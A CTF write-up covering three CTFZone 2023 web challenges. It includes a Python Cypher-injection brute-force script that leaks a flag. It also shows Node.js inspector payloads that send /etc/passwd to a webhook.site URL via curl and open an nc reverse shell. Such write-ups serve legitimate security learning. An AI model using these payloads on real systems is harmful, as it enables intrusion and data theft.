CTFZone Quals 2023 - webx3
Web
Dead-or-alive
Description
Link: https://dead-or-alive.ctfz.one
Source code here.
Solution
Home page:
The web application doesn’t have many features, but I specifically pay attention to this part. Because this is where we can provide input for the web application to process.
In the view source code, I noticed that every time I submit information about my symptoms, there are 3 APIs being called.
/api/setUser
:
/api/setSymptoms
:
/api/getDiagnosis
:
Review source code
This web application utilizes Neo4j, with Neo4j Aura encompassing AuraDB, a cloud-based graph database for intelligent application developers. This solution also includes AuraDS, a fully managed graph data science platform for data scientists to build predictive models and analytical processes.
Here is an example comparing the Cypher language with SQL.
Cypher:
MATCH (p:Product)-[:CATEGORY]->(l:ProductCategory)-[:PARENT*0..]->(:ProductCategory {name:"Dairy Products"})
RETURN p.name
SELECT p.ProductName
FROM Product AS p
JOIN ProductCategory pc ON (p.CategoryID = pc.CategoryID AND pc.CategoryName = "Dairy Products")
JOIN ProductCategory pc1 ON (p.CategoryID = pc1.CategoryID)
JOIN ProductCategory pc2 ON (pc1.ParentID = pc2.CategoryID AND pc2.CategoryName = "Dairy Products")
JOIN ProductCategory pc3 ON (p.CategoryID = pc3.CategoryID)
JOIN ProductCategory pc4 ON (pc3.ParentID = pc4.CategoryID)
JOIN ProductCategory pc5 ON (pc4.ParentID = pc5.CategoryID AND pc5.CategoryName = "Dairy Products");
In the docker-compose.yml file, I noticed a Neo4j service that supports us in interacting with the database. To enable this interaction tool, I will make a slight modification to the docker-compose.yml file.
add these 2 lines of code
Run docker-compose up
Now, we have two services:
- website at localhost:3000
- Neo4j web UI at localhost:7474
- Neo4j bolt at localhost:7687
Regarding the source code in the “app” directory, I had previously identified certain locations that might be susceptible to Cypher injection. However, since this challenge has two levels, I believe this would be the direction for the second level. I’ve spent time uncovering other interesting things within the database dump file.
neo4j
browser
For Neo4j, first and foremost, we need to establish a connection to the database.The connection information can be found in the docker-compose.yml file.
Test database:
OK: success !!!
Connect with info: neo4j/rootroot
You can refer to this place to learn how to interact with the Neo4j Browser.
Explore the data within the database
While examining the data, you can immediately notice a Node label named “Flag.” I suspect that the Flag might be located somewhere within this label. Labels function similarly to tables in SQL.
In Cypher Query Language (CQL), to query the data of a label, you would use the following query: MATCH (n:Flag) RETURN n LIMIT 25
Additionally, there are other labels as well.
Disease
There are 11 types of diseases stored.
Patient
Symptom
stores 25 types of disease symptoms.
Additionally, there are 2 relationships.
HAS
OF
The OF relationship indicates which symptoms can lead to which diseases.
Exploit
I noticed there are 2 locations with flags.
- The first one is within the “Flag” label, certainly.
- The second one is in the description of the disease “Death.”
Haha, it seems like there are flags for both challenge levels. However, the flag at position 1 seems to be more challenging to obtain, as it requires knowledge of CQL syntax for injection purposes.
For the first challenge, I will focus on retrieving the flag through the Death
disease.
Recalling the previous information, I analyzed that users can create an SSN (Social Security Number) and provide symptoms for doctors to diagnose diseases based on those symptoms.
The description of the disease will be returned when passing the SSN into the /api/getDiagnosis API.
Wait, wait, give me a moment. So, what symptoms can lead to the “Death” disease? :breast-feeding:
In this challenge, the OF relationship is limited to 25 records of 5 diseases and 25 symptoms, without considering other diseases.
Removing the LIMIT 25, you can view all the information about the diseases.
New query: MATCH p=()-[r:OF]->() RETURN p
Hold on, when providing all the symptoms, it will be considered as the “Death” disease. :smile: Exactly as I initially predicted.
Okay, so we only need to provide the required 32 symptoms, and we can receive the description of the “Death” disease containing the flag. /api/setSymptoms
Script
import requests
import random
import string
from bs4 import BeautifulSoup
url = "http://dead-or-alive.ctfz.one"
def getSymptom(html):
symptom_data = []
soup = BeautifulSoup(html, 'html.parser')
select_element = soup.find('select', {'id': 'selectSymptom'})
option_elements = select_element.find_all('option')
for option in option_elements:
symptom_data.append(option['value'])
return symptom_data
with requests.Session() as session:
ssn = ''.join(random.choices(string.ascii_letters + string.digits, k=3))
r = session.get(url + '/')
all_symptom = getSymptom(r.text)
session.post(url + '/api/setUser', json={"ssn":ssn,"fullname":"abc90","dateOfBirth":"1/1/1999","weight":"100"})
session.post(url + '/api/setSymptoms', json={"ssn":ssn,"symptoms": all_symptom }) ## add all symptom
r = session.post(url + '/api/getDiagnosis', json={"ssn":ssn} )
json_data = r.json()
for item in json_data["message"]:
if "You receive a posthumous flag" in item["description"]:
flag = item["description"]
print(flag)
Result:
┌──(taiwhis㉿kali)-[~/zone/dead-or-alive]
└─$ python 3.py
You are dead, You receive a posthumous flag: ctfzone{C4n_Th3_D34D_Pl4y_CTF?}
Dead-or-alive2
Description
Link: https://dead-or-alive.ctfz.one
Source code here.
Solution
Okay, this challenge shares the same web application with the previous challenge, but it’s more difficult.
As I analyzed with you in the previous challenge, there is another label named “Flag” that stores another flag.
However, how can we dump data from within this label? Is there some kind of vulnerability? :face_palm:
View source code
Earlier, I mentioned to you that in the app.js file, there are certain code locations that seem to be concatenating strings. It’s possible that we could perform injection there.
Here:
But I realized that ssn
and name
cannot be injected.
After re-evaluating the code for a while, both me and my friend “moonshadow
” realized that we might be able to inject a query at the /api/setSymptoms
API.
Code: You can see that the value of symptoms is directly passed from the input of the user into the code without any filtering, unlike ssn
and name
.
Nice :astonished:
But… You can only add disease symptoms for one SSN at a time, which means you need to create a new SSN from scratch each time.
Okay, the original query is like this:
MATCH (p:Patient {ssn: '${ssn}'})
MATCH (s:Symptom) WHERE s.name in [${symptoms}]
MERGE (p)-[r:HAS]->(s)
I will escape the square bracket [${}]
by using ']
.
Alright, next, I will use a query to retrieve data from the Flag
label.
Like this: I will use boolean injection to check the flag result.
I will use boolean injection to check the flag result.
In Cypher Query Language (CQL), there is a way to check if the returned data starts with a different string using STARTS WITH
.
resource here.
Ex:
MATCH (n:Flag) where n.flag starts with 'abc' return n.flag
=> return False
MATCH (n:Flag) where n.flag starts with 'ctf' return n.flag
=> return True
Based on this, I can brute force each character to guess what the next character might be.
payload: ']\u000aMATCH (f:Flag) WHERE f.flag STARTS WITH '####'//
:::success
In the character string, \u000a
is an escape sequence representing a Unicode character. Specifically, \u000a
corresponds to the line feed character in Unicode.
:::
- Test with burpsuite
:::danger
Take note, here you should prepend some symptoms of a specific disease to make the returned result different.
:::
Ex: I choose the group of symptoms for the Diabetes
disease.
Result: return False
Check if the flag starts with the string ctfzone or not.
Result return True.
=> I will use the string Diabetes is a chronic condition
as a sign to check the response.
Script
import requests
import random
import string
from tqdm import tqdm
from bs4 import BeautifulSoup
url = "http://dead-or-alive.ctfz.one"
with requests.Session() as session:
characters = string.ascii_letters + string.digits + string.punctuation
flag = "ctfzone{"
length = 0
# check length flag
print("Checking length flag...")
for i in range(10,60):
payload = f"Fatigue']\u000aMATCH (n:Flag) WHERE size(toString(n.flag)) = {i} //"
ssn = ''.join(random.choices(string.ascii_letters + string.digits, k=3))
session.post(url + '/api/setUser', json={"ssn":ssn,"fullname":"abc90","dateOfBirth":"1/1/1999","weight":"100"} )
session.post(url + '/api/setSymptoms', json= {"ssn":ssn,"symptoms":[ "Blurred vision", "Slow-healing sores or cuts", "Increased thirst",
"Frequent urination", payload ]} )
r = session.post(url + '/api/getDiagnosis', json={"ssn":ssn} )
if "Diabetes is a chronic condition" in r.text:
length = i
print("Done! The length of the flag is: ", length)
break
# brute force
for i in range(0, length):
print("Current flag: ", flag)
for i in characters:
payload = "']\u000aMATCH (n:Flag) WHERE n.flag STARTS WITH '####'//".replace("####", flag + i)
ssn = ''.join(random.choices(string.ascii_letters + string.digits, k=3))
session.post(url + '/api/setUser', json={"ssn":ssn,"fullname":"abc90","dateOfBirth":"1/1/1999","weight":"100"} )
session.post(url + '/api/setSymptoms', json= {"ssn":ssn,"symptoms":[ "Blurred vision", "Slow-healing sores or cuts", "Increased thirst",
"Frequent urination","Fatigue" + payload ]} )
r = session.post(url + '/api/getDiagnosis', json={"ssn":ssn} )
if "Diabetes is a chronic condition" in r.text:
flag += i
print("Found: ", i)
break
print("Flag: ", flag)
Result:
ctfzone{N0w_Y0u_4re_C0mpl3t3ly_H34lTy!}
Under construction
Description
Link: http://web-under-construction-ins1.ctfz.one
Source code here
Solution
Based on the package.json file, I found some issues.
The node-static library contains a vulnerability described here.
https://github.com/advisories/GHSA-5g97-whc9-8g7j
https://security.snyk.io/vuln/SNYK-JS-NODESTATIC-3149928
Node.js 6.x and later versions include a debugging protocol (also known as “inspector”) that can be activated using –inspect and related command-line flags. This debugging service is susceptible to DNS rebinding attacks that can be exploited to execute remote code.
I successfully tried running it locally.
┌──(taiwhis㉿kali)-[~/zone/undercon]
└─$ node --inspect app.js
Debugger listening on ws://127.0.0.1:9229/76e8646f-fcc4-44a5-a6aa-a19e820e7a34
For help, see: https://nodejs.org/en/docs/inspector
Server running at http://0.0.0.0:3000/
You can refer here:
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse
My team members have discovered this.
Exploiting the path traversal vulnerability, you can read the file /../app-logs.er
to obtain the debugger socket.
So now that you have the debugger socket, you can use wscat
to transmit data and execute it.
PoC refer here: https://ibukifalling.github.io/2022/11/11/rce-via-Nodejs-debug-port
- using
wscat
:
I noticed this in the Dockerfile as well.
RUN echo "ctfzone{REDACTED}" > /root/flag.txt
RUN echo "ubuntu ALL = (root) NOPASSWD:
/bin/cat /root/flag.txt" >> /etc/sudoers
json payload: `{"id":1,"method":"Runtime.evaluate","params":{"expression":"require = process.mainModule.require; execSync = require(\"child_process\").execSync; execSync(\"curl -X POST -d @/etc/passwd https://webhook.site/d0534853-10c9-4fc5-826a-fd44f6fb69b4\");"}}
┌──(taiwhis㉿kali)-[~]
└─$ wscat -c ws://127.0.0.1:9229/de92aeae-9254-4e2c-8b3a-cfc5fcf5a358
Connected (press CTRL+C to quit)
>{"id":1,"method":"Runtime.evaluate","params":{"expression":"require = process.mainModule.require; execSync = require(\"child_process\").execSync; execSync(\"curl -X POST -d @/etc/passwd https://webhook.site/d0534853-10c9-4fc5-826a-fd44f6fb69b4\");"}}
< {"id":1,"result":{"result":{"type":"object","subtype":"typedarray","className":"Uint8Array","description":"Uint8Array(0)","objectId":"1236463280690069003.1.1"}}}
Result:
Oke RCE and get flag.
{"id":1,"method":"Runtime.evaluate","params":{"expression":"require = process.mainModule.require; execSync = require(\"child_process\").execSync; execSync(\"nc 10.0.2.15 8000 -e /bin/sh\");"}}
My teammate has successfully solved this challenge. This is new knowledge for me. :heart_decoration:
Flag: ctfzone{d3bug_m0d3_1s_c00l_f0r_CTF}
Comments